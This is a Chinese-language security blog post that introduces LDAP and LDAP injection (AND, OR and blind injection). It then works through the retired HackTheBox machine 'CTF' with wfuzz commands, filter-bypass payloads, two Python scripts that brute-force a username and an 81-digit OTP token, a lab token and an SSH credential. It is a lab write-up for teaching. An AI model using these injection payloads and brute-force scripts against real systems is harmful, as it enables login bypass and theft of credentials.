浅谈LDAP注入攻击

阅读量517117

|评论1

|

发布时间 : 2020-07-31 14:30:56

 

作者:ca01h@星盟

最近在HackTheBox上氪了金(肉疼:sob:),做了一些已经retired的高质量靶机,不得不说质量还是很高的。其中有一个靶机叫做CTF,难度是最高级别的insane,主要是它考察的知识点比较冷门——LDAP注入。可能很多小伙伴都没怎么听说过这个漏洞,我想主要原因还是LDAP这个协议用的比较少,而且国内CTF比赛中我也基本上没有看到有考察这个点的。在网上搜了一下,发现最近一次出现这个考点的是在CSAW CTF Qualification Round 2018比赛中,题目直接告诉你了是考LDAP注入。刚好上个星期我在星盟内部分享中,也提到了这个知识点,那么本着聊胜于无,开阔知识面的本意下(其实是偷懒?),写下这篇浅谈LDAP注入攻击的文章。

 

0x01 LDAP介绍

什么是LDAP

在做靶机之前,我们首先来了解一下什么是LDAP?

以下内容部分摘自2018 blackhat LDAP Injection & Blind LDAP Injection

LDAP(Lightweight Directory Access Protocol):轻量级目录访问协议,是一种在线目录访问协议,主要用于目录中资源的搜索和查询,是X.500的一种简便的实现。

那么转换成人话就是说,LDAP是用于访问目录服务(特别是基于X.500的目录服务)的轻量级客户端服务器协议,它通过TCP/IP传输服务运行。关键的地方就在于,数据是存储在目录中,而不是数据库中。的确,目录和数据库有很多共同之处,都能存储数据、并能在一定程度进行搜索和查询。这里就有一个问题了,目录和数据库的区别在哪?

最重要的区别就是目录适合于存放静态数据,它存储的数据无论在类型和种类较之数据库中的数据都要更为繁多,包括音频、视频、可执行文件、文本等文件,另外目录中还存在目录的递归。既然是存放不同类型的静态数据,那么目录服务在进行优化后更适宜于读访问,而非写、修改等操作。

说了这么半天,感觉还是贴一张图来的更快。

上面这张图展示了LDAP的结构。我们都知道MySQL数据库中的数据都是按记录一条条记录存在表中,而LDAP是树结构的,数据存储在叶子节点上。比如要描述上图baby这个节点:

cn=baby, ou=marketing, ou=people, dc=mydomain, dc=org

LDAP的基本概念

在大概知道LDAP是做什么、长什么样之后,我们再来了解一下LDAP的一些基本概念,主要是三个专有名词:条目(Entry)、属性(Attribute)、对象类(ObjectClass)。

条目

条目,也叫记录项,是LDAP中最基本的颗粒,就想字典中的词条或者是数据中的记录。通常对LDAP的添加、删除、修改、搜索都是以条目为基本单位。

属性

每个条目都可以有很多属性(Attribute),比如常见的人都有姓名、地址、电话等属性。每个属性都有名称及对应的值,属性值可以有单个、多个,比如你有多个邮箱。

此外,LDAP为人员组织机构中常见的对象都设计了属性(比如commonName,surname)。

对象类

对象类是属性的集合,LDAP预想了很多人员组织机构中常见的对象,并将其封装成对象类。比如人员(person)含有姓(sn)、名(cn)、电话(telephoneNumber)、密码(userPassword)等属性,单位职工(organizationalPerson)是人员(person)的继承类,除了上述属性之外还含有职务(title)、邮政编码(postalCode)、通信地址(postalAddress)等属性。

通过对象类可以方便的定义条目类型。每个条目可以直接继承多个对象类,这样就继承了各种属性。如果2个对象类中有相同的属性,则条目继承后只会保留1个属性。对象类同时也规定了哪些属性是基本信息,即必要属性和可选属性。

是不是听起来和面向对象语言有点相似,跟Java中的Object类一样,LDAP的根对象类就叫做top。

上述就是笔者对LDAP数据结构的简单介绍了,LDAP既然主要用于搜索查询,那它是怎么查询的呢?

LDAP的基本语法

LDAP的语法非常简单,一看就会,再看就懂。

以下部分内容摘自https://blog.csdn.net/leader_ww/article/details/4028672

=(等于)

例如,如果希望查找属性giveNname值为John的所有对象,可以使用(givenName=John)。这会返回对应条件的所有对象。

&(逻辑与)

例如,如果希望查找居住在 Dallas 并且givenName为John的所有对象,可以使用(&(givenName=John)(l=Dallas))

请注意,每个参数都被属于其自己的圆括号括起来。整个 LDAP 语句必须包括在一对主圆括号中。操作符 & 表明,只有每个参数都为真,才会将此筛选条件应用到要查询的对象。

|(逻辑或)

例如,如果希望查找属性givenName值为Jhon或者Jack的所有对象,可以使用(|(givenName=Jhon)(givenName=Jack))

!(逻辑非)

例如,如果需要查找givenName为John的对象以外的所有对象。则应使用如下语句:(!givenName=John)

*(通配符)

可使用通配符表示值可以等于任何值。使用它的情况可能是:您希望查找具有职务头衔的所有对象。为此,可以使用(title=*),这会返回title属性包含内容的所有对象。

另一个例子是:您知道某个对象的givenName属性的开头两个字母是“Jo”。那么,可以使用(givenName=Jo*)进行查找,这会返回givenNameJo开头的所有对象。

Over~~LDAP的语法是不是很简单。

说了这么多,可能很多小伙伴还是心存疑问,已经部署成功的LDAP到底是长什么样子?

我们可以通过Google Hacking intitle:”phpLDAPadmin” inurl:cmd.php来检索一下,真实的运行的LDAP服务的网站,这个地方我就贴一张图示范一下,包含了上面提到的所有概念。

 

0x02 LDAP注入攻击面

其实它的攻击手法和SQL注入的原理非常相似,在有漏洞的环境中,这些查询参数没有得到合适的过滤,因而攻击者可以注入任意恶意代码。由于比较简单,我这里就走马观花的方式来过一遍LDAP注入的不同类型。

以下部分内容摘自https://wooyun.js.org/drops/LDAP%E6%B3%A8%E5%85%A5%E4%B8%8E%E9%98%B2%E5%BE%A1%E5%89%96%E6%9E%90.html

AND注入

这种情况,应用会构造由”&”操作符和用户引入的的参数组成的正常查询在LDAP目录中搜索,例如:

(&(parameter1=value1)(parameter2=value2))

这里Value1和value2是在LDAP目录中搜索的值,攻击者可以注入代码,维持正确的过滤器结构但能使用查询实现他自己的目标。

比如说,为了验证客户端提供的user/password对,构造如下LDAP过滤器并发送给LDAP服务器:

(&(USER=Uname)(PASSWORD=Pwd))

如果攻击者输入一个有效地用户名,如r00tgrok,然后再这个名字后面注入恰当的语句,password检查就会被绕过。

使得Uname=slisberger)(&)),引入任何字符串作为Pwd值,构造如下查询并发送给服务器:

(&(USER= slisberger)(&)(PASSWORD=Pwd))

OR注入

这种情况,应用会构造由”|”操作符和用户引入的的参数组成的正常查询在LDAP目录中搜索,例如:

(|(parameter1=value1)(parameter2=value2))

这里Value1和value2是在LDAP目录中搜索的值,攻击者可以注入代码,维持正确的过滤器结构但能使用查询实现他自己的目标。

类似的,加入现在用于展示可用资源的查询为:

(|(type=Rsc1)(type=Rsc2))

Rsc1和Rsc2表示系统中不同种类的资源。如果攻击者输入Rsc=printer)(uid=*),则下面的查询被发送给服务器:

(|(type=printer)(uid=*))(type=scanner)

这样也会造成注入的产生。

盲注

SQL注入中有盲注,LDAP中也存在这种问题,包括下面介绍到的靶机用到的也是盲注的手法。

假设攻击者可以从服务器响应中推测出什么,尽管应用没有报出错信息,LDAP过滤器中注入的代码却生成了有效的响应或错误。攻击者可以利用这一行为向服务器问正确的或错误的问题。

还是用一个例子来说明。

假设一个Web应用想从一个LDAP目录列出所有可用的Epson打印机,错误信息不会返回,应用发送如下的过滤器:

(&(objectClass=printer)(type=Epson*))

使用这个查询,如果有可用的Epson打印机,其图标就会显示给客户端,否则没有图标出现。如果攻击者进行LDAP盲注入攻击

*)(objectClass=*))(&(objectClass=void

Web应用会构造如下查询:

(&(objectClass=*)(objectClass=*))(&(objectClass=void)(type=Epson*))

仅第一个LDAP过滤器会被处理

(&(objectClass=*)(objectClass=*))

那么这样就和我们查询的初衷相违背了。

接下来就是这篇文章的重头戏了,我们主要从这个靶机中学到两点:

  • 怎么发现LDAP注入漏洞
  • 如何利用LDAP注入漏洞

 

0x03 从HTB靶机中学习LDAP注入

Initial Enunciation

拿到靶机先用Nmap扫一下端口

# Nmap 7.80 scan initiated Fri Jul 10 10:50:40 2020 as: nmap -sC -sV -oN ctf 10.10.10.122
Nmap scan report for ctf.htb (10.10.10.122)
Host is up (1.8s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 fd:ad:f7:cb:dc:42:1e:43:7d:b3:d5:8b:ce:63:b9:0e (RSA)
|   256 3d:ef:34:5c:e5:17:5e:06:d7:a4:c8:86:ca:e2:df:fb (ECDSA)
|_  256 4c:46:e2:16:8a:14:f6:f0:aa:39:6c:97:46:db:b4:40 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul 10 11:03:44 2020 -- 1 IP address (1 host up) scanned in 783.74 seconds

查看80端口

大概的意思就是让我们尝试去登录这个系统,但是不能用SQLmap或者Dirbuster去暴力猜解用户名和密码。

再去登录界面看一下:

提示我们是一个OTP,即One Time Password,一般而言是1分钟更新一次。

查看源码,发现有一个Hint

如果比较熟悉LDAP的话,这里的两个名词schema和existing attribute已经提示了是关于LDAP注入。

作者用一个已知的属性去存储了81位的token string,Google搜一下token string (81 digits)

https://www.systutorials.com/docs/linux/man/1-stoken/

可以看到一个关键的地方,Pure numeric (81-digit) "ctf" (compressed token format) strings,和靶机的题目相契合,现在就有一点思路了,应该要去找到这个81位纯数字的token,然后用stoken工具去生成OTP。那么主要是找到token,唯一可以利用的就是这个登录框了。

先随便用某个用户名和密码登录admin:1234

返回User admin not found,再用SQL注入的万能密码试一试

直接是没有任何显示,应该是对一些特殊字符有黑名单过滤。Fuzz一下过滤了一些什么字符

wfuzz -c --hw 233 -d 'inputUsername=FUZZ&inputOTP=1234' -w special-chars.txt 10.10.10.122/login.php

—hw 233 代表过滤掉形如User xxx not found的返回信息。

我们发现+&返回的是232 Words,但是在页面测试一下

发现返回的还是User + not found或者User & not found,这样的话应该是233 Words,而不是Wfuzz返回的232 Words。

我们尝试把这些特殊字符二次URL编码,看Web应用是否还能解析,用seclists中的doble_uri_hex.txt作为字典

wfuzz -c --hw 233 -d 'inputUsername=FUZZ&inputOTP=1234' -w doble-uri-hex.txt 10.10.10.122/login.php

最后Fuzz出来的被过滤的字符就是

%2500 ---> %00
%2528 ---> (
%2529 ---> )
%252a ---> *
%255c ---> \

这些被过滤的字符就是LDAP注入需要过滤的所有字符,再结合login.php页面源代码中的hint,可以确定是LDAP注入。

Getting User Access

先来看LDAP注入的最基本形式

(&
    (password=1234)
    (uid=ca01h%00)
)

具体到这个靶机的话,我们需要猜解括号的个数。运用类似盲注的思想,如果注入成功,那么就会返回User ca01h not found

假设只有一个括号:

假设有两个括号:

假设有三个括号:

当尝试到三个括号用于闭合时,成功返回了User ca01h%29%29%29%00 not found,那么这个登录框的LDAP查询的基本形式就是

(&
    (&
        (password=1234)
        (uid=ca01h)))%00
    )
    (&|
        (other comparing)
    )
)

接着,我们再回头去看一下Fuzz出来的被过滤的字符,其中%25%2a返回的消息长度为231 Words

发现回显的消息是Cannot login,说明可以用*通配符来盲注用户名,脚本如下:

#!/usr/bin/env python3
### username_burp.py

import sys
import time
from string import ascii_lowercase
from urllib.parse import quote_plus

import requests

URL = 'http://10.10.10.122/login.php'

username, done = '', False
print()

while not done:
    for c in ascii_lowercase:
        payload = username + c + quote_plus('*')

        data = {
            'inputUsername': payload,
            'inputOTP': '1234'
        }

        resp = requests.post(URL, data=data)

        if 'Cannot login' in resp.text:
            username += c
            break

        sys.stdout.write(f'\r{username}{c}')
        time.sleep(0.2)
    else:
        done = True

print(f'[+] Username: {username} \n')

用户名为ldapuser

知道了用户名之后,我们就要去获取生成OTP的81位token,通过页面源代码的提示,这个token存储在某一个LDAP默认已经存在的属性当中。而默认的属性可以在PayloadsAllTheThings中找到:

c
cn
co
commonName
dc
facsimileTelephoneNumber
givenName
gn
homePhone
id
jpegPhoto
l
mail
mobile
name
o
objectClass
ou
owner
pager
password
sn
st
surname
uid
username
userPassword

如果不想写脚本的话用wfuzz来Fuzz靶机的LDAP中存在的属性可能会更快一些,但还是要先找到注入的形式:

(&
    (&
        (password=1234)
        (uid=ldapuser)
        (FUZZ=*)
    )
    (&|
        (other comparing)
    )
)

此外还要把注入的字符ldapuser)(FUZZ=*进行二次URL编码,编码之后的结果ldapuser%2529%2528FUZZ%253d%252a

wfuzz -c --hw 233 -d 'inputUsername=ldapuser%2529%2528FUZZ%253d%252a&inputOTP=1234' -w LDAP_attributes.txt http://10.10.10.122/login.php

我们Fuzz出来了这么些属性是存在于靶机的LDAP服务中的,现在的工作就是一个一个的属性来猜解,属于一些重复性的工作,就不在这里过多赘述了,最后可以找到token是存储于pager属性中。接着写脚本用来burp81位token

#!/usr/bin/python3
# pager_burp.py

import requests
import sys
from time import sleep
from string import digits

token = ""
URL = "http://10.10.10.122/login.php"
attribute = "pager"
loop = 1

while loop > 0:
    for digit in digits:
        token = token
        # ldapuser)(pager=<token>)*
        payload = f"ldapuser%29%28{attribute}%3d{token}{digit}%2a"
        data = {"inputUsername": payload, "inputOTP": "1234"}
        r = requests.post(URL, data=data)
        sys.stdout.write(f"\rToken: {token}{digit}")
        sleep(0.5)
        if b"Cannot login" in r.content:
            token += digit
            break
        elif digit == "9":
            loop = 0
            break
print(f'[+] Token: {token} \n')

这里值得注意的是需要删掉最后的一个9,所以最后的token就是:

285449490011357156531651545652335570713167411445727140604172141456711102716717000

接着用stoken工具导入token

生成OTP

成功登录后,跳转到page.php页面,可以执行命令

Damn it…..提示我们ldapuser权限不够不能执行命令,这里有两种办法:

  • group属性进行注入,即把后面group属性的filter截断
    (&
        (&
            (pager=<token>)
            (uid=ldapuser)))%00
        )
        (|
            (group=root)
            (group=adm)
        )
    )
    
  • 使用*通配符作为用户名登录

这里演示一下第一种方案,payload直接放到burp中

ldapuser%2529%2529%2529%2500

再去执行ls命令

读取page.php文件:

SSH登录:fdapuser:e398e27d5c4ad45086fe431120932a01

本文由星盟安全团队原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/212186

安全客 - 有思想的安全新媒体

分享到:微信
+111赞
收藏
星盟安全团队
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66